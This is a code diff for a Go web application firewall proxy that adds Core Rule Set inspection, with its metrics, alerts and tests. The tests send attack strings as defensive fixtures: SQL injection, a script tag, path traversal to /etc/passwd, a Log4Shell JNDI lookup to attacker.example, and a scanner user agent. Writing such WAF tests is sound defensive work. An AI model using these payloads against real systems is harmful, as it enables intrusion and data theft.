 		if !reflect.DeepEqual(got, tc.want) {
 			t.Errorf("%v gave\n%+v\nwant\n%+v", tc.env, got, tc.want)
 		}
 	}
 }
 func TestInvalidCoreRuleSetSettingStopsTheStart(t *testing.T) {
 	t.Parallel()
 	const notParanoiaLevel = " is not a paranoia level, from 1 to 4"
 	for _, tc := range []struct{ name, value, want string }{
 		{wafMode, "enforce", `"enforce" is not off, detect or block`},
 		{wafParanoiaLevel, "0", `"0"` + notParanoiaLevel},
 		{wafParanoiaLevel, "5", `"5"` + notParanoiaLevel},
 		{wafParanoiaLevel, off, `"off"` + notParanoiaLevel},
 		{
 			wafAnomalyThreshold, "0",
 			`"0" is not a whole number above zero, such as 60, or off`,
 		},
 		{
 			wafDisabledRules, "920340,REQUEST-920",
 			`"REQUEST-920" is not the id of a Core Rule Set rule, ` +
 				`a whole number such as 942100`,
 		},
 		{
 			wafDisabledRules, "-942100",
 			`"-942100" is not the id of a Core Rule Set rule, ` +
 				`a whole number such as 942100`,
 		},
 		{
 			wafExemptPaths, "api/",
 			`"api/" is not a path prefix starting with /, such as /assets/`,
 		},
 	} {
 		t.Run(tc.name+"="+tc.value, func(t *testing.T) {
 			t.Parallel()
 			_, err := config.FromEnvironment(environment{tc.name: tc.value}.lookupEnv)
 			want := tc.name + ": " + tc.want
 			if err == nil || err.Error() != want {
 				t.Errorf("error %v, want %s", err, want)
 			}
 		})
 	}
 }
 func TestInstanceNameAndLoggedHeadersAsSet(t *testing.T) {
 	t.Parallel()
@@ -2291,6 +2388,11 @@ func TestLogsEachSettingWithItsValue(t *testing.T) {
 		logLevel:                "info",
 		rulesDir:                "/etc/smallwebwaf/rules.d",
 		rulesEnabled:            "true",
 		wafMode:                 config.WAFModeBlock,
 		wafParanoiaLevel:        "1",
 		wafAnomalyThreshold:     "5",
 		wafDisabledRules:        defaultWAFDisabledRules,
 		wafExemptPaths:          "",
 		trapPaths:               "",
 		errorBurstThreshold:     "30",
 		logRemoteURL:            "",
@@ -36,6 +36,7 @@ type Metrics struct {
 	rateLimitHits        *prometheus.CounterVec
 	sizeAndTimeLimitHits *prometheus.CounterVec
 	offences             *prometheus.CounterVec
 	wafMatches           *prometheus.CounterVec
 	// ruleMatches are made by AddRules, and reputationHits by
 	// AddReputation.
 	ruleMatches    *prometheus.CounterVec
@@ -63,6 +64,8 @@ type Metrics struct {
 // topN is how many countries and how many AS numbers get series of their
 // own (SWWAF_METRICS_TOP_N). Every metric carries instanceName
 // (SWWAF_INSTANCE_NAME) as its label instance.
 //
 //nolint:funlen // a few lines for each metric, a list that grows with them
 func New(topN int, instanceName string) *Metrics {
 	byStatus := []string{"status_class", "action"}
 	byFile := []string{"file"}
@@ -101,6 +104,9 @@ func New(topN int, instanceName string) *Metrics {
 			[]string{"limit"}),
 		offences: counterVec("smallwebwaf_offences_total",
 			"Offences, by kind.", []string{"kind"}),
 		wafMatches: counterVec("smallwebwaf_waf_matches_total",
 			"Requests that matched a rule of the Core Rule Set, by SWWAF_WAF_MODE "+
 				"and the rule's id.", []string{"mode", "rule_id"}),
 		countries: newCountries(topN),
 		asns:      newASNs(topN),
 		GeoJSRequests: prometheus.NewCounter(prometheus.CounterOpts{
@@ -136,7 +142,8 @@ func New(topN int, instanceName string) *Metrics {
 		collectors.NewProcessCollector(collectors.ProcessCollectorOpts{}),
 		m.inFlight, m.requests, m.requestBytes, m.responseBytes,
 		m.requestDuration, m.upstreamDuration,
-		m.rateLimitHits, m.sizeAndTimeLimitHits, m.offences, m.countries, m.asns,
+		m.rateLimitHits, m.sizeAndTimeLimitHits, m.offences, m.wafMatches,
 		m.countries, m.asns,
 		m.GeoJSRequests, m.GeoJSFailures, m.GeoJSUnanswered,
 		m.stateFileWrites, m.stateFileWriteFailures,
 		m.stateFileLastWrite, m.stateFileSize,
@@ -433,6 +440,7 @@ func (m *Metrics) Offences(r ratelimit.Request) {
 		"limit":         r.BrokeLimit,
 		"attack":        r.Attack,
 		"rule_blocked":  r.RuleBlocked,
 		"waf_blocked":   r.WAFBlocked,
 		"token_refused": r.TokenRefused,
 	} {
 		if committed {
@@ -447,6 +455,12 @@ func (m *Metrics) RuleMatched(id, action string) {
 	m.ruleMatches.WithLabelValues(id, action).Inc()
 }
 // WAFMatched counts a request that matched the Core Rule Set's rule id,
 // with SWWAF_WAF_MODE at mode.
 func (m *Metrics) WAFMatched(mode string, id int) {
 	m.wafMatches.WithLabelValues(mode, strconv.Itoa(id)).Inc()
 }
 // StateFileWritten counts a write of the state file name, of size bytes,
 // that ended with err.
 func (m *Metrics) StateFileWritten(name string, size int, err error) {
@@ -84,12 +84,12 @@ func (rq *request) countBytes() {
 }
 // countRefusal counts the request for the error burst once it has been
-// answered, if smallwebwaf refused it after a rule file match or a trap
+// answered, if smallwebwaf refused it after a rule file match, a trap path
-// path, or for a missing or wrong token, and in observe mode if enforce
+// or a Core Rule Set match, or for a missing or wrong token, and in
-// mode would have: more than SWWAF_ERROR_BURST_THRESHOLD such refusals of
+// observe mode if enforce mode would have: more than
-// the client within a minute break a limit. A client in SWWAF_ALLOW_NETS,
+// SWWAF_ERROR_BURST_THRESHOLD such refusals of the client within a minute
-// which the checks skip, is not counted, and nothing is while the
+// break a limit. A client in SWWAF_ALLOW_NETS, which the checks skip, is
-// threshold is off.
+// not counted, and nothing is while the threshold is off.
 func (rq *request) countRefusal() {
 	cfg := rq.h.config
 	if cfg.ErrorBurstThreshold == 0 {
@@ -100,7 +100,7 @@ func (rq *request) countRefusal() {
 	// before it reached the endpoint has had no token refused there.
 	tokenRefused := rq.tokenRefused && rq.line.WouldAction == "" &&
 		!isInside(rq.client, cfg.AllowNets)
-	if !rq.attack && !rq.ruleBlocked && !tokenRefused {
+	if !rq.attack && !rq.ruleBlocked && !rq.wafBlocked && !tokenRefused {
 		return
 	}
@@ -116,7 +116,7 @@ func (rq *request) countRefusal() {
 	status := rq.out.status
 	switch rq.line.WouldAction {
-	case requestlog.ActionRuleBlocked:
+	case requestlog.ActionRuleBlocked, requestlog.ActionWAFBlocked:
 		status = http.StatusForbidden
 	case requestlog.ActionBanned:
 		status = cfg.BanResponse
@@ -282,8 +282,6 @@ func TestByteLimitsLeaveOutWhatTheRateLimitsLeaveOut(t *testing.T) {
 func TestByteLimitsOffCountTheBytesAndBanNoOne(t *testing.T) {
 	t.Parallel()
 	const off = "off"
 	s, _ := startWithAnswers(t, map[string]string{
 		bytesLimitPerMinute: off, bytesLimitPerHour: off, bytesLimitPerDay: off,
 	})
@@ -0,0 +1,82 @@
 package proxy
 import (
 	"time"
 	"sneak.berlin/go/smallwebwaf/internal/alerts"
 	"sneak.berlin/go/smallwebwaf/internal/config"
 	"sneak.berlin/go/smallwebwaf/internal/requestlog"
 	"sneak.berlin/go/smallwebwaf/internal/waf"
 )
 // checkCoreRuleSet inspects the request with the Core Rule Set, unless
 // SWWAF_WAF_MODE is off or SWWAF_WAF_EXEMPT_PATHS exempts its path, as
 // pathExempt decides, and notes the rules it matched and its score in the
 // log line, and the rules in the metrics. A score at or over
 // SWWAF_WAF_ANOMALY_THRESHOLD is a match: it raises the waf_block alert,
 // and in block mode refuses the request, which is an offence its client's
 // history counts, and so returns ActionWAFBlocked. It returns "" for a
 // request it does not refuse.
 func (rq *request) checkCoreRuleSet() string {
 	cfg := rq.h.config
 	if cfg.WAFMode == config.WAFModeOff || pathExempt(rq.in.URL, cfg.WAFExemptPaths) {
 		return ""
 	}
 	start := time.Now()
 	result := rq.h.coreRuleSet.Inspect(rq.in, rq.client)
 	rq.line.DurationWAF = new(requestlog.Milliseconds(time.Since(start)))
 	rq.line.WAFRuleIDs = result.RuleIDs
 	rq.line.WAFScore = &result.Score
 	for _, id := range result.RuleIDs {
 		rq.h.metrics.WAFMatched(cfg.WAFMode, id)
 	}
 	threshold := cfg.WAFAnomalyThreshold
 	if threshold == 0 || result.Score < threshold {
 		return ""
 	}
 	rq.alertWAFBlock(result)
 	if cfg.WAFMode == config.WAFModeDetect {
 		return ""
 	}
 	rq.wafBlocked = true
 	return requestlog.ActionWAFBlocked
 }
 // alertWAFBlock raises the waf_block alert for the request, which the Core
 // Rule Set scored at result, at or over SWWAF_WAF_ANOMALY_THRESHOLD. Its
 // detail gives the rule ids, the score, the method and the path with the
 // query, and, for a request that is not refused for it, the mode: detect,
 // or observe in observe mode.
 func (rq *request) alertWAFBlock(result waf.Result) {
 	detail := map[string]any{
 		"rule_ids": result.RuleIDs,
 		"score":    result.Score,
 		"method":   rq.in.Method,
 		"path":     rq.in.URL.RequestURI(),
 	}
 	switch {
 	case rq.h.config.WAFMode == config.WAFModeDetect:
 		detail["mode"] = config.WAFModeDetect
 	case rq.h.config.Observe:
 		detail["mode"] = "observe"
 	}
 	rq.h.alerts.Raise(alerts.Alert{
 		Event:    alerts.EventWAFBlock,
 		Client:   rq.client,
 		Netblock: rq.h.clientGroup(rq.client),
 		ASN:      rq.line.ASN,
 		ASName:   rq.line.ASName,
 		Country:  rq.line.Country,
 		Reason:   "scored by the Core Rule Set at or over SWWAF_WAF_ANOMALY_THRESHOLD",
 		Detail:   detail,
 	})
 }
@@ -0,0 +1,385 @@
 package proxy_test
 import (
 	"net/http"
 	"net/netip"
 	"slices"
 	"testing"
 	"sneak.berlin/go/smallwebwaf/internal/alerts"
 	"sneak.berlin/go/smallwebwaf/internal/ratelimit"
 	"sneak.berlin/go/smallwebwaf/internal/requestlog"
 )
 // The Core Rule Set's settings the tests set, besides SWWAF_WAF_MODE, and
 // its two modes that inspect requests.
 const (
 	wafAnomalyThreshold = "SWWAF_WAF_ANOMALY_THRESHOLD"
 	wafDisabledRules    = "SWWAF_WAF_DISABLED_RULES"
 	wafExemptPaths      = "SWWAF_WAF_EXEMPT_PATHS"
 	block               = "block"
 	detect              = "detect"
 )
 // sqlInjection asks for / with an SQL injection in its query, which only
 // the Core Rule Set's rule 942100 matches, with a score of 5, the default
 // SWWAF_WAF_ANOMALY_THRESHOLD.
 const sqlInjection = "/?id=1'%20OR%20'1'='1"
 // wantWAF checks the request log line's waf_rule_ids and waf_score, and
 // that it has duration_waf, or with no score, that it has none of the
 // three: the Core Rule Set did not inspect the request.
 func wantWAF(t *testing.T, line logLine, score *int, ruleIDs ...int) {
 	t.Helper()
 	if !slices.Equal(line.WAFRuleIDs, ruleIDs) {
 		t.Errorf("log line has waf_rule_ids %v, want %v", line.WAFRuleIDs, ruleIDs)
 	}
 	switch {
 	case score == nil && (line.WAFScore != nil || line.DurationWAF != nil):
 		t.Errorf("log line has waf_score %v and duration_waf %v, want neither",
 			line.fields["waf_score"], line.fields["duration_waf"])
 	case score != nil && (line.WAFScore == nil || *line.WAFScore != *score):
 		t.Errorf("log line has waf_score %v, want %d", line.fields["waf_score"], *score)
 	case score != nil && line.DurationWAF == nil:
 		t.Error("log line has no duration_waf")
 	}
 }
 func TestCoreRuleSetRefusesAttacksInBlockModeAndOnlyLogsThemInDetectMode(t *testing.T) {
 	t.Parallel()
 	for _, attack := range []struct {
 		name, path, header string
 		ruleIDs            []int
 		score              int
 	}{
 		{"SQL injection in the query", sqlInjection, "", []int{942100}, 5},
 		{
 			"script in the query", "/?q=%3Cscript%3Ealert(1)%3C%2Fscript%3E", "",
 			[]int{941100, 941110, 941160, 941390}, 20,
 		},
 		{
 			"path traversal in the path", "/files/../../etc/passwd", "",
 			[]int{930100, 930110}, 10,
 		},
 		{
 			"Log4Shell in a header", "/", "X-Api-Version: ${jndi:ldap://attacker.example/a}",
 			[]int{944150}, 5,
 		},
 		{"scanner's user agent", "/", "User-Agent: sqlmap/1.7", []int{913100}, 5},
 	} {
 		t.Run(attack.name, func(t *testing.T) {
 			t.Parallel()
 			for _, tc := range []struct {
 				mode, action string
 				status       int
 			}{
 				{block, requestlog.ActionWAFBlocked, http.StatusForbidden},
 				{detect, requestlog.ActionForward, http.StatusOK},
 			} {
 				s, _, _ := startWithClock(t, "", map[string]string{wafMode: tc.mode})
 				line, _ := s.requestWithHeader(client, attack.path, attack.header,
 					tc.status, tc.action)
 				wantWAF(t, line, &attack.score, attack.ruleIDs...)
 			}
 		})
 	}
 }
 func TestOrdinaryRequestIsInspectedAndPassed(t *testing.T) {
 	t.Parallel()
 	s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
 	line := s.request(client, "/owner/repo/src/branch/main/README.md?display=source",
 		http.StatusOK, requestlog.ActionForward)
 	wantWAF(t, line, new(0))
 }
 func TestCoreRuleSetIsNotRunWhenOffOrForAnExemptClientPathOrRuleFileRefusal(
 	t *testing.T,
 ) {
 	t.Parallel()
 	const allowed = "192.0.2.60" // in SWWAF_ALLOW_NETS
 	s, _, _ := startWithClock(t, "", map[string]string{
 		wafMode:        block,
 		wafExemptPaths: "/api/",
 		allowNets:      allowed,
 		rulesDir:       writeRules(t, testRules),
 	})
 	// A client in SWWAF_ALLOW_NETS, and a path SWWAF_WAF_EXEMPT_PATHS
 	// exempts, are not inspected.
 	line := s.request(allowed, sqlInjection, http.StatusOK, requestlog.ActionForward)
 	wantWAF(t, line, nil)
 	line = s.request(client, "/api/v1/repos?id=1'%20OR%20'1'='1", http.StatusOK,
 		requestlog.ActionForward)
 	wantWAF(t, line, nil)
 	// The prefix is matched as rate limit exempt paths are: a path that
 	// goes up and out of it is inspected.
 	line = s.request(client, "/api/../?id=1'%20OR%20'1'='1", http.StatusForbidden,
 		requestlog.ActionWAFBlocked)
 	wantWAF(t, line, new(25), 930100, 930110, 942100)
 	// A request a rule file refuses is not inspected.
 	line = s.request(otherClient, "/blocked?id=1'%20OR%20'1'='1", http.StatusForbidden,
 		requestlog.ActionRuleBlocked)
 	wantWAF(t, line, nil)
 	// With SWWAF_WAF_MODE off, no request is.
 	s, _, _ = startWithClock(t, "", map[string]string{wafMode: off})
 	line = s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
 	wantWAF(t, line, nil)
 }
 func TestAnomalyThreshold(t *testing.T) {
 	t.Parallel()
 	// A score under the threshold, or with the threshold off, is logged,
 	// and refuses nothing.
 	for _, threshold := range []string{"6", off} {
 		s, _, _ := startWithClock(t, "", map[string]string{
 			wafMode: block, wafAnomalyThreshold: threshold,
 		})
 		line := s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
 		wantWAF(t, line, new(5), 942100)
 	}
 	s, _, _ := startWithClock(t, "", map[string]string{
 		wafMode: block, wafAnomalyThreshold: "5",
 	})
 	s.request(client, sqlInjection, http.StatusForbidden, requestlog.ActionWAFBlocked)
 }
 func TestDisabledRulesSwitchOffWhatGiteaWouldBeRefused(t *testing.T) {
 	t.Parallel()
 	for _, request := range []struct {
 		name, method, path, header string
 		// ruleIDs are the rules that match the request with none
 		// switched off.
 		ruleIDs []int
 	}{
 		{
 			"git push", http.MethodPost, "/owner/repo.git/git-receive-pack",
 			"Content-Type: application/x-git-receive-pack-request\r\nContent-Length: 4",
 			[]int{920420, 930130},
 		},
 		{
 			"package upload without a type", http.MethodPut,
 			"/api/packages/owner/generic/tool/1.0/tool.tar.gz", "Content-Length: 4",
 			[]int{920340},
 		},
 		{
 			"a shell script", http.MethodGet, "/owner/repo/raw/branch/main/install.sh", "",
 			[]int{920440},
 		},
 		{
 			"an editor's settings", http.MethodGet,
 			"/owner/repo/src/branch/main/.zed/settings.json", "", []int{930140},
 		},
 	} {
 		t.Run(request.name, func(t *testing.T) {
 			t.Parallel()
 			body := ""
 			if request.method != http.MethodGet {
 				body = "push"
 			}
 			// By default, the rules are switched off.
 			s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
 			line, _ := s.requestWithBody(request.method, client, request.path,
 				request.header, body, http.StatusOK, requestlog.ActionForward)
 			wantWAF(t, line, new(0))
 			// A list given replaces the default.
 			s, _, _ = startWithClock(t, "", map[string]string{
 				wafMode: block, wafDisabledRules: "942100",
 			})
 			score := 5 * len(request.ruleIDs)
 			line, _ = s.requestWithBody(request.method, client, request.path,
 				request.header, body, http.StatusForbidden, requestlog.ActionWAFBlocked)
 			wantWAF(t, line, &score, request.ruleIDs...)
 			// And switches off the rules it lists.
 			line = s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
 			wantWAF(t, line, new(0))
 		})
 	}
 }
 func TestResponsesAreNotInspected(t *testing.T) {
 	t.Parallel()
 	// A raw shell script, and an SQL error, which the Core Rule Set's rules
 	// for responses take for a leak.
 	const page = "#!/bin/sh\nrm -rf /tmp/build\n" +
 		"You have an error in your SQL syntax; check the manual that " +
 		"corresponds to your MySQL server version\n"
 	app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
 		_, _ = w.Write([]byte(page))
 	})
 	addr, out := startProxy(t, app.URL, map[string]string{wafMode: block})
 	got := get(t, addr, "/owner/repo/raw/branch/main/build.sh")
 	if got.status != http.StatusOK || string(got.body) != page {
 		t.Errorf("answered %d with %q, want 200 with the app's page", got.status, got.body)
 	}
 	wantLine(t, out.requestLine(t), http.StatusOK, requestlog.ActionForward)
 }
 func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheErrorBurst(t *testing.T) {
 	t.Parallel()
 	const scraper = "192.0.2.200"
 	s, _, server := startWithClock(t, "", map[string]string{
 		wafMode: block, errorBurstThreshold: "2", metricsToken: token,
 	})
 	for range 2 {
 		s.request(client, sqlInjection, http.StatusForbidden, requestlog.ActionWAFBlocked)
 	}
 	// The third refusal in a minute breaks the error burst, and bans the
 	// client.
 	line := s.request(client, sqlInjection, http.StatusForbidden,
 		requestlog.ActionWAFBlocked)
 	if line.LimitHit != requestlog.LimitHitErrorBurst ||
 		line.Offence != requestlog.OffenceLimit {
 		t.Errorf("log line has limit_hit %q and offence %q, want error_burst and limit",
 			line.LimitHit, line.Offence)
 	}
 	s.get(client, http.StatusForbidden, requestlog.ActionBanned)
 	want := ratelimit.Offences{Limit: 1, WAFBlocked: 3}
 	if offences := historyOf(t, server, client).Offences; offences != want {
 		t.Errorf("history counts the offences %+v, want %+v", offences, want)
 	}
 	metrics := s.scrape(scraper)
 	wantMetric(t, metrics,
 		`smallwebwaf_waf_matches_total{instance="app",mode="block",rule_id="942100"}`, 3)
 	wantMetric(t, metrics,
 		`smallwebwaf_offences_total{instance="app",kind="waf_blocked"}`, 3)
 	wantMetric(t, metrics, `smallwebwaf_requests_total{action="waf_blocked",`+
 		`instance="app",status_class="4xx"}`, 3)
 }
 func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheErrorBurst(t *testing.T) {
 	t.Parallel()
 	const scraper = "192.0.2.200"
 	s, _, server := startWithClock(t, "", map[string]string{
 		wafMode: detect, errorBurstThreshold: "2", metricsToken: token,
 	})
 	for range 3 {
 		s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
 	}
 	s.get(client, http.StatusOK, requestlog.ActionForward)
 	offences := historyOf(t, server, client).Offences
 	if offences != (ratelimit.Offences{}) {
 		t.Errorf("history counts the offences %+v, want none", offences)
 	}
 	metrics := s.scrape(scraper)
 	wantMetric(t, metrics,
 		`smallwebwaf_waf_matches_total{instance="app",mode="detect",rule_id="942100"}`, 3)
 	wantNoSeries(t, metrics,
 		`smallwebwaf_offences_total{instance="app",kind="waf_blocked"}`)
 }
 func TestObserveModeLogsWhatTheCoreRuleSetWouldDo(t *testing.T) {
 	t.Parallel()
 	s, _, server := startWithClock(t, "", map[string]string{wafMode: block, mode: observe})
 	line := s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
 	wantWouldAction(t, line, requestlog.ActionWAFBlocked)
 	wantWAF(t, line, new(5), 942100)
 	// It is an offence as in enforce mode.
 	want := ratelimit.Offences{WAFBlocked: 1}
 	if offences := historyOf(t, server, client).Offences; offences != want {
 		t.Errorf("history counts the offences %+v, want %+v", offences, want)
 	}
 }
 func TestCoreRuleSetMatchRaisesTheWAFBlockAlert(t *testing.T) {
 	t.Parallel()
 	for _, tc := range []struct {
 		name string
 		env  map[string]string
 		// status and action are what the request is answered and logged
 		// with, and alertMode what the alert's detail gives as mode, if
 		// anything.
 		status            int
 		action, alertMode string
 	}{
 		{
 			"block", map[string]string{wafMode: block},
 			http.StatusForbidden, requestlog.ActionWAFBlocked, "",
 		},
 		{
 			"detect", map[string]string{wafMode: detect},
 			http.StatusOK, requestlog.ActionForward, detect,
 		},
 		{
 			"block in observe mode", map[string]string{wafMode: block, mode: observe},
 			http.StatusOK, requestlog.ActionForward, observe,
 		},
 	} {
 		t.Run(tc.name, func(t *testing.T) {
 			t.Parallel()
 			s, clk, _, queue := startWithAlerts(t, tc.env)
 			// The second is a repeat, which the cooldown holds back, and an
 			// ordinary request raises none.
 			for range 2 {
 				s.request(client, sqlInjection, tc.status, tc.action)
 			}
 			s.get(client, http.StatusOK, requestlog.ActionForward)
 			detail := map[string]any{
 				"rule_ids": []int{942100}, "score": 5, "method": http.MethodGet,
 				"path": sqlInjection,
 			}
 			if tc.alertMode != "" {
 				detail["mode"] = tc.alertMode
 			}
 			wantAlerts(t, queue, alerts.Alert{
 				Instance: alertInstance,
 				Time:     clk.Now(),
 				Event:    alerts.EventWAFBlock,
 				Client:   netip.MustParseAddr(client),
 				Netblock: netip.MustParsePrefix(client + "/32"),
 				Reason:   "scored by the Core Rule Set at or over SWWAF_WAF_ANOMALY_THRESHOLD",
 				Detail:   detail,
 			})
 			if queue.Suppressed() != 1 {
 				t.Errorf("%d alerts held back, want the repeat", queue.Suppressed())
 			}
 		})
 	}
 }
@@ -247,8 +247,6 @@ func TestErrorBurstDoesNotCountTheAppsAnswers(t *testing.T) {
 func TestErrorBurstOffOrAtItsDefault(t *testing.T) {
 	t.Parallel()
 	const off = "off"
 	for _, tc := range []struct {
 		threshold string
 		// broken is whether the 31st refusal breaks the error burst.
@@ -21,6 +21,7 @@ import (
 	"sneak.berlin/go/smallwebwaf/internal/reputation"
 	"sneak.berlin/go/smallwebwaf/internal/requestlog"
 	"sneak.berlin/go/smallwebwaf/internal/rules"
 	"sneak.berlin/go/smallwebwaf/internal/waf"
 )
 // How smallwebwaf keeps connections to the app open between requests.
@@ -75,9 +76,10 @@ type Params struct {
 	// Alerts receive the alert for each ban the proxy makes or makes
 	// permanent, for each count over an anomaly threshold, for each request
 	// whose client a blocklist, the CrowdSec decision list, a DNSBL zone or
-	// AbuseIPDB lists, and for GeoJS failing, a fetch of a list failing, a
+	// AbuseIPDB lists, for each request the Core Rule Set scores at or over
-	// query to a DNSBL zone or a check with AbuseIPDB failing, or the day's
+	// SWWAF_WAF_ANOMALY_THRESHOLD, and for GeoJS failing, a fetch of a list
-	// AbuseIPDB checks used up.
+	// failing, a query to a DNSBL zone or a check with AbuseIPDB failing,
 	// or the day's AbuseIPDB checks used up.
 	Alerts *alerts.Queue
 }
@@ -144,12 +146,13 @@ func New(params Params) *Server {
 			NamedNetblocks: params.Config.WatchNets,
 			Alerts:         params.Alerts,
 		}),
-		lookupFile: params.LookupFile,
+		lookupFile:  params.LookupFile,
-		lists:      lists,
+		lists:       lists,
-		dnsbl:      dnsbl,
+		dnsbl:       dnsbl,
-		abuseIPDB:  abuseIPDB,
+		abuseIPDB:   abuseIPDB,
-		rules:      params.Rules,
+		rules:       params.Rules,
-		alerts:     params.Alerts,
+		coreRuleSet: newCoreRuleSet(params.Config),
 		alerts:      params.Alerts,
 	}
 	h.geojs = lookup.New(lookup.Params{
 		URL:     params.GeoJSURL,
@@ -228,26 +231,48 @@ func newReputation(
 	return lists, dnsbl, abuseIPDB
 }
 // newCoreRuleSet returns the Core Rule Set at SWWAF_WAF_PARANOIA_LEVEL,
 // without the rules SWWAF_WAF_DISABLED_RULES switches off, or nil while
 // SWWAF_WAF_MODE is off.
 func newCoreRuleSet(cfg *config.Config) *waf.CoreRuleSet {
 	if cfg.WAFMode == config.WAFModeOff {
 		return nil
 	}
 	coreRuleSet, err := waf.New(waf.Params{
 		ParanoiaLevel: cfg.WAFParanoiaLevel, DisabledRules: cfg.WAFDisabledRules,
 	})
 	if err != nil {
 		// The Core Rule Set is built in, and the settings cannot break it:
 		// the paranoia level is from 1 to 4, and the id of no rule switches
 		// nothing off.
 		panic(err)
 	}
 	return coreRuleSet
 }
 // handler is the proxy. It holds what every request shares; what belongs
 // to one request is in a request.
 type handler struct {
-	config     *config.Config
+	config      *config.Config
-	requestLog io.Writer
+	requestLog  io.Writer
-	processLog *slog.Logger
+	processLog  *slog.Logger
-	errorLog   *log.Logger
+	errorLog    *log.Logger
-	transport  http.RoundTripper
+	transport   http.RoundTripper
-	now        func() time.Time
+	now         func() time.Time
-	metrics    *metrics.Metrics
+	metrics     *metrics.Metrics
-	limiter    *ratelimit.Limiter
+	limiter     *ratelimit.Limiter
-	ledger     *bans.Ledger
+	ledger      *bans.Ledger
-	geojs      *lookup.GeoJS
+	geojs       *lookup.GeoJS
-	anomalies  *anomaly.Counters
+	anomalies   *anomaly.Counters
-	lookupFile *lookup.File
+	lookupFile  *lookup.File
-	lists      *reputation.Lists
+	lists       *reputation.Lists
-	dnsbl      *reputation.DNSBL
+	dnsbl       *reputation.DNSBL
-	abuseIPDB  *reputation.AbuseIPDB
+	abuseIPDB   *reputation.AbuseIPDB
-	rules      *rules.Files
+	rules       *rules.Files
-	alerts     *alerts.Queue
+	coreRuleSet *waf.CoreRuleSet
 	alerts      *alerts.Queue
 }
 // newTransport returns what carries requests to the app. It never goes
@@ -85,8 +85,12 @@ const (
 	logRequestHeaders       = "SWWAF_LOG_REQUEST_HEADERS"
 	attackBanDuration       = "SWWAF_ATTACK_BAN_DURATION"
 	rulesDir                = "SWWAF_RULES_DIR"
 	wafMode                 = "SWWAF_WAF_MODE"
 )
 // off is the value that switches a setting off.
 const off = "off"
 // output collects what smallwebwaf writes on stdout.
 type output struct {
 	mu  sync.Mutex
@@ -271,7 +275,9 @@ func startProxyWithAlerts(
 // is no stand-in for GeoJS to look clients up at, and SWWAF_LOOKUP_SOURCE
 // is off unless env sets it. While it is file, the lookup database
 // SWWAF_LOOKUP_DB_PATH names is read. Clients are checked with AbuseIPDB
-// at abuseIPDBURL while env sets SWWAF_ABUSEIPDB_KEY.
+// at abuseIPDBURL while env sets SWWAF_ABUSEIPDB_KEY. SWWAF_WAF_MODE is off
 // unless env sets it, so that only the tests of the Core Rule Set have
 // their requests inspected by it.
 func newProxy(
 	t *testing.T, appURL, geojsURL string, now func() time.Time,
 	env map[string]string,
@@ -280,9 +286,10 @@ func newProxy(
 	settings := map[string]string{
 		"SWWAF_UPSTREAM_URL": appURL, rulesDir: t.TempDir(), instanceName: "app",
 		wafMode: off,
 	}
 	if geojsURL == "" {
-		settings[lookupSource] = "off"
+		settings[lookupSource] = off
 	}
 	maps.Copy(settings, env)
@@ -725,6 +725,10 @@ func TestClientRefusedForAnOffenceIsCheckedWithAbuseIPDBAtItsNextRequest(t *test
 			"a block rule", blockedPath, http.StatusForbidden, requestlog.ActionRuleBlocked,
 			ratelimit.Offences{RuleBlocked: 1},
 		},
 		{
 			"the Core Rule Set", sqlInjection, http.StatusForbidden,
 			requestlog.ActionWAFBlocked, ratelimit.Offences{WAFBlocked: 1},
 		},
 		{
 			"a ban rule", probePath, http.StatusForbidden, requestlog.ActionBanned,
 			ratelimit.Offences{Attack: 1},
@@ -744,7 +748,7 @@ func TestClientRefusedForAnOffenceIsCheckedWithAbuseIPDBAtItsNextRequest(t *test
 			s, clk, server := startWithClock(t, "", map[string]string{
 				abuseIPDBKey: accountKey, reputationAction: actionLog,
 				rulesDir: writeRules(t, testRules), attackBanDuration: "1h",
-				trapPaths: trapPathList, metricsToken: token,
+				trapPaths: trapPathList, metricsToken: token, wafMode: block,
 			})
 			s.request(client, tc.path, tc.status, tc.action)
@@ -65,10 +65,10 @@ type request struct {
 	counted                    bool
 	limitPercent, bytesPercent percentage
 	// attack is true for a request that matched a ban rule or asked for a
-	// trap path, ruleBlocked for one a block rule refused, and
+	// trap path, ruleBlocked for one a block rule refused, wafBlocked for
-	// tokenRefused for one refused for a missing or wrong token, each an
+	// one the Core Rule Set refused, and tokenRefused for one refused for a
-	// offence its client's history counts.
+	// missing or wrong token, each an offence its client's history counts.
-	attack, ruleBlocked, tokenRefused bool
+	attack, ruleBlocked, wafBlocked, tokenRefused bool
 	// blocklisted is true once a blocklist is found to list the client,
 	// dnsblListed once a DNSBL zone's verdict is, and abuseIPDBHit once
 	// AbuseIPDB's score of it is a hit.
@@ -190,11 +190,11 @@ func requestHeaders(r *http.Request, names []string) map[string]string {
 // check is the one place where a request can be refused once its client
 // is known, before its body is read or anything reaches the app. It
 // returns nil to let the request through. The checks of checkClient come
-// first, answered with SWWAF_BAN_RESPONSE, or 403 for a block rule, and
+// first, answered with SWWAF_BAN_RESPONSE, or 403 for a block rule or the
-// then the size limit, so that a request the rate limits count is counted
+// Core Rule Set, and then the size limit, so that a request the rate
-// even when it is refused for its size. In observe mode a request
+// limits count is counted even when it is refused for its size. In
-// checkClient refuses goes on to the size limit like any other. ctx is
+// observe mode a request checkClient refuses goes on to the size limit
-// the request's own context.
+// like any other. ctx is the request's own context.
 func (rq *request) check(ctx context.Context) *refusal {
 	action := rq.checkClient(ctx)
@@ -203,7 +203,7 @@ func (rq *request) check(ctx context.Context) *refusal {
 	case rq.h.config.Observe:
 		// The log line names what enforce mode would have done.
 		rq.line.WouldAction = action
-	case action == requestlog.ActionRuleBlocked:
+	case action == requestlog.ActionRuleBlocked || action == requestlog.ActionWAFBlocked:
 		return &refusal{status: http.StatusForbidden, action: action}
 	default:
 		return rq.banResponse(action)
@@ -233,9 +233,9 @@ func (rq *request) check(ctx context.Context) *refusal {
 // rate limits, unless the client is in SWWAF_RATE_LIMIT_EXEMPT_NETS or the
 // request's path is exempt under SWWAF_RATE_LIMIT_EXEMPT_PATHS, so that
 // every other request is counted, each of them by the client's limit
